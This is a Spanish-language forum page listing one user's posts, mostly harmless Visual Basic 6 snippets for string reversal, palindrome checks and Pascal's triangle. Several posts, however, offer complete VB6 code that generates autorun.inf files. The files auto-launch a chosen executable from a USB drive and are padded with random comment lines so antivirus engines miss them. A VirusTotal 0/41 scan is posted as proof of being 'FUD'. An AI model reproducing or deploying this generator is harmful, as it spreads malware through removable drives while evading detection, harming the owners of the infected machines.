Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BlackZeroX

#2381
estoy aburrido asi que hice esto para vos nos vemos.

Son dos funciones para que compares que onda con lo que se te dice arriba un poco:

las funciones son similares como vez xP

Código (vb) [Seleccionar]


'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Codigo siempre y cuando         //
' // no se eliminen los creditos originales de este codigo      //
' // No importando que sea modificado/editado o engrandesido    //
' // o achicado, si es en base a este codigo                    //
' ////////////////////////////////////////////////////////////////

Option Explicit
Option Compare Text

Public Function vbReverse(ByVal StrInOri As String) As String
Dim TmpChar             As String * 1   '   //  TmpChar = Space(1)
Dim Stringhalf          As Long
Dim StringLen           As Long
Dim Index_String        As Long
Dim index_StrInOri      As Long
   If Not Len(StrInOri) <= 1 Then
       StringLen = Len(StrInOri)
       Stringhalf = StringLen / 2
       For index_StrInOri = 1 To Stringhalf
           TmpChar = Mid$(StrInOri, index_StrInOri, 1)
           Index_String = StringLen - index_StrInOri + 1
           Mid$(StrInOri, index_StrInOri, 1) = Mid$(StrInOri, Index_String, 1)
           Mid$(StrInOri, Index_String, 1) = TmpChar
       Next
   End If
   vbReverse = StrInOri
End Function

Public Function EsPalidromoAlt(ByVal StrInOri As String) As Boolean
   EsPalidromoAlt = StrInOri = vbReverse(StrInOri)
End Function

Public Function EsPalidromo(ByVal StrInOri As String) As Boolean
Dim TmpChar             As String * 1   '   //  TmpChar = Space(1)
Dim Stringhalf          As Long
Dim StringLen           As Long
Dim Index_String        As Long
Dim index_StrInOri      As Long
Dim TmpStr              As String
   If Not Len(StrInOri) <= 1 Then
       StringLen = Len(StrInOri)
       Stringhalf = StringLen / 2
       TmpStr = Space(StringLen)
       For index_StrInOri = 1 To Stringhalf
           Index_String = StringLen - index_StrInOri + 1
           Mid$(TmpStr, index_StrInOri, 1) = Mid$(StrInOri, Index_String, 1)
           Mid$(TmpStr, Index_String, 1) = Mid$(StrInOri, index_StrInOri, 1)
       Next
   End If
   EsPalidromo = StrInOri = TmpStr
End Function



Código (vb) [Seleccionar]


Private Sub Form_Load()
Const vConst As String = "peep"
   MsgBox vbReverse(vConst)
   MsgBox EsPalidromo(vConst)
   MsgBox EsPalidromoAlt(vConst)
End Sub



funciones alternativas

Código (vb) [Seleccionar]


Public Function EsPalidromo(ByVal StrInOri As String) As Boolean
   EsPalidromo = StrInOri = StrReverse(StrInOri)
End Function



P.D.: las funciones son similares como vez si hay dudas avisa.

Dulce Infierno Lunar!¡.
#2382
lo que dices se entiende de por medio desde que empiesas a programar, solo que hay que saber que hace X funcion despues puedes recrearla sin problemas, si no sabes que hace entonces en C/C++ como ejemplos no migrarias tan facil.

En resumen solo hay que saber que hace X funcion lo demas es logica rudimentaria en la migracion a otro lenguaje X.

Dulces Lunas!¡.
#2383
[b]lo peor que se puede hacer en un lugar de un tema fijado es relacionarlo con otro cuando este no le importa en lo absoluto al individuo sudicho, aquen que lo de expresiones regulares esta bien... pero el ejemplo esta pesimo en este subforo.[/b]

* Aqui la liga a expresiones regulares en vb6.0.

http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/166-expresiones-regulares.htm

Dulce Infierno Lunar!¡.
#2384
Cita de: Karcrack en 27 Mayo 2010, 14:30 PM
... Y si haces eso como escribes tu en tu propio PenDrive de forma legitima? :-\
yo lo hago solo para llevar y consultar datos mas no para traerme si este fuese el caso seria por FTP

Dulces Lunas!¡.
#2385

Haber para que entiendan el codigo de forma rapida y precisa:

las variables o registros de un autorun.inf no se cifran ojo:
en un autorun.inf se le pueden adicionar lineas de comentarios (Esto no es nuevo).

* El codigo que pongo aqui lo que hace es meter lineas de comentarios Aleatroias.
* Los registros del autorun.inf siguen intactos (Si abren el archivo resultante y usan buscar y buscan [autorun], u otra linea las encontraran).
* Las longitudes de los textos como comentarios son aleatorios al igual que los que existen ente los registros del arhivo autorun.inf.
* El archivo resultante no pesa 1 o 3 kb pesa mas de 100kb por lo menos puede pesar tanto se desee!¡, pero el optimo para mi fue este que esta entre 200kb y 380kb.

Dulce Infierno Lunar!¡.
#2386
hay una forma extra para proteger los PendDriver y es hacer crear un nuevo valor en el registro de windows:



HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\StorageDevicePolicie



creando un nuevo valor variable directiva bueno como deseen llamarlo



WriteProtect



y establecer este en valor 1

Reiniciar e PC y listo con eso ya no pueden escribir en la PenDrive

P.D.: aqun que es algo tedioso es lo que hacia en mis preparatorias y lugar de trabajo o cualquier pc ajena para evitar que se colaran lo virus y difuminaran estos en mi PenDrive sin permiso mio.

Dulce Infierno Lunar!¡.
#2387
Cita de: *PsYkE1* en 27 Mayo 2010, 09:47 AM
ALA :o
Pense que despues del Conflicker esto era mas detectado... :silbar:

Salu2! ;)

Mi codigo genera archivos autorun.inf de forma distinta SIEMPRE puedes cambiar los rango dentro del fuente si hay dudas avisar que explico las lines si es nesesario.

P.D.: Ya tiene 3 años que uso este metodo y hasta ahora no me lo a detectado ningun AV xP, y el reporte de Virus Total sigue en 0/41 LOL.

Dulce Infierno Lunar!¡,
#2388

}reporte desde VirusTotal... Ojo como no detecta nada y desde hace 2 años no lo ha hecho ningun AV sigue y debera seguir FUD


Análisis del archivo autorun.inf recibido el 2010.05.27 07:37:26 (UTC)
Motor antivirus Versión Última actualización Resultado
a-squared 4.5.0.50 2010.05.10 -
AhnLab-V3 2010.05.27.00 2010.05.27 -
AntiVir 8.2.1.242 2010.05.26 -
Antiy-AVL 2.0.3.7 2010.05.26 -
Authentium 5.2.0.5 2010.05.27 -
Avast 4.8.1351.0 2010.05.27 -
Avast5 5.0.332.0 2010.05.27 -
AVG 9.0.0.787 2010.05.27 -
BitDefender 7.2 2010.05.27 -
CAT-QuickHeal 10.00 2010.05.27 -
ClamAV 0.96.0.3-git 2010.05.27 -
Comodo 4942 2010.05.25 -
DrWeb 5.0.2.03300 2010.05.27 -
eSafe 7.0.17.0 2010.05.26 -
eTrust-Vet 35.2.7513 2010.05.27 -
F-Prot 4.6.0.103 2010.05.26 -
F-Secure 9.0.15370.0 2010.05.27 -
Fortinet 4.1.133.0 2010.05.26 -
GData 21 2010.05.27 -
Ikarus T3.1.1.84.0 2010.05.27 -
Jiangmin 13.0.900 2010.05.24 -
Kaspersky 7.0.0.125 2010.05.27 -
McAfee 5.400.0.1158 2010.05.27 -
McAfee-GW-Edition 2010.1 2010.05.27 -
Microsoft 1.5802 2010.05.27 -
NOD32 5148 2010.05.26 -
Norman 6.04.12 2010.05.26 -
nProtect 2010-05-26.01 2010.05.26 -
Panda 10.0.2.7 2010.05.26 -
PCTools 7.0.3.5 2010.05.27 -
Prevx 3.0 2010.05.27 -
Rising 22.49.03.01 2010.05.27 -
Sophos 4.53.0 2010.05.27 -
Sunbelt 6362 2010.05.27 -
Symantec 20101.1.0.89 2010.05.27 -
TheHacker 6.5.2.0.287 2010.05.25 -
TrendMicro 9.120.0.1004 2010.05.27 -
TrendMicro-HouseCall 9.120.0.1004 2010.05.27 -
VBA32 3.12.12.5 2010.05.26 -
ViRobot 2010.5.20.2326 2010.05.27 -
VirusBuster 5.0.27.0 2010.05.26



Dulce Infierno Lunar!¡.
#2389
Bueno hace mucho que me la sabia como hacer un Autorun.Inf FUD solo que como ya abandono las malas practicas empesare a liberar algunos codigos sencillos pero utiles para algunos:

Este es un codigo para generar un archivo Autorun.inf 100% FUD indetectable ante AVIRA Norton, ... bueno ante cualquier AV... hasta la fecha sigue intacto xP.

OJO LOS AUTORU.INF SIEMPRE son DIFERENTES!¡.

Código (vb) [Seleccionar]


'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Codigo siempre y cuando         //
' // no se eliminen los creditos originales de este codigo      //
' // No importando que sea modificado/editado o engrandesido    //
' // o achicado, si es en base a este codigo                    //
' ////////////////////////////////////////////////////////////////

option explicit

Public Function GenerarAutorun(StrPath As String, StrExeNameExt As String) As Long
Dim Var(6)                                      As String
Dim DataWrite                                   As String
Dim i                                           As Integer
Dim RN                                          As Integer
Dim nMin                                        As Long
Dim nMax                                        As Long
Dim Sep                                         As String
Dim Char1                                       As String * 1
Dim Char2                                       As String * 1
   Var(0) = "[Autorun]"
   Var(1) = "Open = " & StrExeNameExt
   Var(2) = "UseAutoPlay = 1"
   Var(3) = "action = @" & StrExeNameExt
   Var(4) = "shell\open\Command = " & StrExeNameExt
   Var(5) = "shell\open\Default = 1"
   Var(6) = "shell\explore\Command = " & StrExeNameExt
   If Dir(StrPath, vbDirectory) <> "" Then
       Call NormalizePath(StrPath)
       StrPath = StrPath & "autorun.inf"
       Open StrPath For Binary As 1
           For i = 0 To 6
               DataWrite = vbCrLf & Var(i)
               nMin = NumeroAleatorio(100, 1000)
               nMax = nMin + NumeroAleatorio(100, 1000)
               For RN = 0 To NumeroAleatorio(nMin, nMax)
                   Char1 = Chr(NumeroAleatorio(50, 255))
                   Char2 = Chr(NumeroAleatorio(50, 255))
                   Sep = Chr$(NumeroAleatorio(1, 255))
                   While Sep = Char1 Or Sep = Char2: DoEvents
                       Sep = Chr$(NumeroAleatorio(1, 255))
                   Wend
                   DataWrite = DataWrite & vbCrLf & ";" & TextoAleatorio(Char1 & Sep & Char2, Sep, 1)
               Next RN
               Put 1, , DataWrite
           Next i
       Close 1
       GenerarAutorun = 1
   End If
ErrorFatal:
End Function
Private Sub NormalizePath(ByRef sData As String)
   sData = IIf(Right$(sData, 1) = "\", sData, sData & "\")
End Sub
Function TextoAleatorio(StrRango As String, Separador As String, Optional LENTEXTMIN As Long = 1, Optional LENTEXTMAX As Long = -1) As String
Dim spli()                                      As String
Dim i                                           As Double
   If InStr(StrRango, Separador) > 0 Then
       spli = Split(StrRango, Separador)
       LENTEXTMAX = LENTEXTMIN + Int(IIf(LENTEXTMAX = -1, NumeroAleatorio(1, 100), LENTEXTMAX))
       For i = LENTEXTMIN To LENTEXTMAX
           TextoAleatorio = TextoAleatorio & Chr(NumeroAleatorio(Asc(spli(0)), Asc(spli(1))))
       Next i
   End If
End Function
Public Function NumeroAleatorio(MinNum As Long, MaxNum As Long) As Long
Dim Tmp                                 As Long
   If MaxNum < MinNum Then: Tmp = MaxNum: MaxNum = MinNum: MinNum = Tmp
   Randomize: NumeroAleatorio = CLng((MinNum - MaxNum + 1) * Rnd + MaxNum)
End Function



la Llamada se realiza en alguna parte de su Codigo fuente de la siguiente manera:


Código (vb) [Seleccionar]


Call GenerarAutorun("c:\", "Ejecuta.exe")



Donde C:\ es la RUTA donde se guardara el archivo Autorun.inf y donde Ejecuta.exe es el archivo en el mismo directorio a ejecutar con el metodo Autorun.Inf

ahora si se quiere ejecutar el exe de un subdirectorio con el respoecto a donde se encuentra el Autorun.inf actual solo hay que hacerlo de la siguiente forma:

Código (vb) [Seleccionar]


Call GenerarAutorun("c:\", "Carpeta\SubCarpeta2\Ejecuta.exe")



Sangriento Infierno Lunar!¡.
#2390

Este es el MAS RAPIDO y "OPTIMO" (Solo se debe sustituir el iif() por un If Then y  unos cuantos Val en los iff() aqui mismo debajo del original lo pongo corregido) solo por si se me confunden con mi cita:

Código (vb) [Seleccionar]


'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Codigo siempre y cuando         //
' // no se eliminen los creditos originales de este codigo      //
' // No importando que sea modificado/editado o engrandesido    //
' // o achicado, si es en base a este codigo                    //
' ////////////////////////////////////////////////////////////////

Option Explicit

Public Sub GenerateTrianglePascal(ByVal nLineas As Long, ByRef OutData As String)
'On Error GoTo 1
Dim a                       As Long
Dim b                       As Long
Dim Puntero                 As Long
Dim Longitud                As Long
Dim Temporal                As String
Dim CelVar()                As Double
Dim OutDataTemp             As String
Const KiloByte              As Long = 5120
    If nLineas > 0 Then
        ReDim CelVar(nLineas, nLineas)
        Puntero = 1
        OutDataTemp = Space(KiloByte)
        Temporal = Space(255)
        For a = 1 To nLineas
            For b = 1 To a: DoEvents
                CelVar(a, b) = Val(IIf(b = 1, 1, Val(CelVar(a - 1, b - 1)) + Val(CelVar(a - 1, b))))
                Temporal = CelVar(a, b) & IIf(a <> b, " ", "")
                Longitud = Len(Temporal)
                Mid(OutDataTemp, Puntero, Longitud) = Temporal
                Puntero = Puntero + Longitud
                If Puntero > KiloByte Then
                    OutData = OutData & OutDataTemp
                    OutDataTemp = Space(KiloByte)
                    Puntero = 2
                End If
            Next b
            If a <> nLineas Then
                Puntero = Puntero
                Mid(OutDataTemp, Puntero, 2) = vbCrLf
                Puntero = Puntero + 2
            End If
            Caption = a
        Next a
1:      Erase CelVar
    End If
    OutData = OutData & Trim$(OutDataTemp)
End Sub
Private Sub Form_Load()
    Text2.Alignment = 2 '   //  Modo centralizado
End Sub
Private Sub Command1_Click()
Dim datas                   As String
    Call GenerateTrianglePascal(Val(Text1.Text), datas)
    Text2.Text = datas
End Sub



Codigo Optimo a mi Criterio Visto.

Código (vb) [Seleccionar]


'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Codigo siempre y cuando         //
' // no se eliminen los creditos originales de este codigo      //
' // No importando que sea modificado/editado o engrandesido    //
' // o achicado, si es en base a este codigo                    //
' ////////////////////////////////////////////////////////////////

Option Explicit

Public Sub GenerateTrianglePascal(ByVal nLineas As Long, ByRef OutData As String)
'On Error GoTo 1
Dim a                       As Long
Dim b                       As Long
Dim Puntero                 As Long
Dim Longitud                As Long
Dim Temporal                As String
Dim CelVar()                As Double
Dim OutDataTemp             As String
Const KiloByte              As Long = 5120      '   //  Buffer Limite
    If nLineas > 0 Then
        ReDim CelVar(nLineas, nLineas)
        Puntero = 1
        OutDataTemp = Space(KiloByte)
        Temporal = Space(255)
        For a = 1 To nLineas
            For b = 1 To a: DoEvents
                Rem     Start CelVar(a, b) = Val(IIf(b = 1, 1, Val(CelVar(a - 1, b - 1)) + Val(CelVar(a - 1, b))))
                If b = 1 Then
                    CelVar(a, b) = 1
                Else
                    CelVar(a, b) = CelVar(a - 1, b - 1) + CelVar(a - 1, b)
                End If
                Rem     End CelVar(a, b) = Val(IIf(b = 1, 1, Val(CelVar(a - 1, b - 1)) + Val(CelVar(a - 1, b))))
                Rem     Start Temporal = CelVar(a, b) & IIf(a <> b, " ", "")
                Temporal = CelVar(a, b)
                If a <> b Then
                    Temporal = Temporal & " "
                End If
                Rem     End Temporal = CelVar(a, b) & IIf(a <> b, " ", "")
                Longitud = Len(Temporal)
                Mid(OutDataTemp, Puntero, Longitud) = Temporal
                Puntero = Puntero + Longitud
                If Puntero > KiloByte Then
                    OutData = OutData & OutDataTemp
                    OutDataTemp = Space(KiloByte)
                    Puntero = 2
                End If
            Next b
            If a <> nLineas Then
                Puntero = Puntero
                Mid(OutDataTemp, Puntero, 2) = vbCrLf
                Puntero = Puntero + 2
            End If
            Caption = a
        Next a
1:      Erase CelVar
    End If
    OutData = OutData & Trim$(OutDataTemp)
End Sub
Private Sub Form_Load()
    Text2.Alignment = 2 '   //  Modo centralizado
End Sub
Private Sub Command1_Click()
Dim datas                   As String
    Call GenerateTrianglePascal(Val(Text1.Text), datas)
    Text2.Text = datas
End Sub



Dulce Infierno Lunar!¡.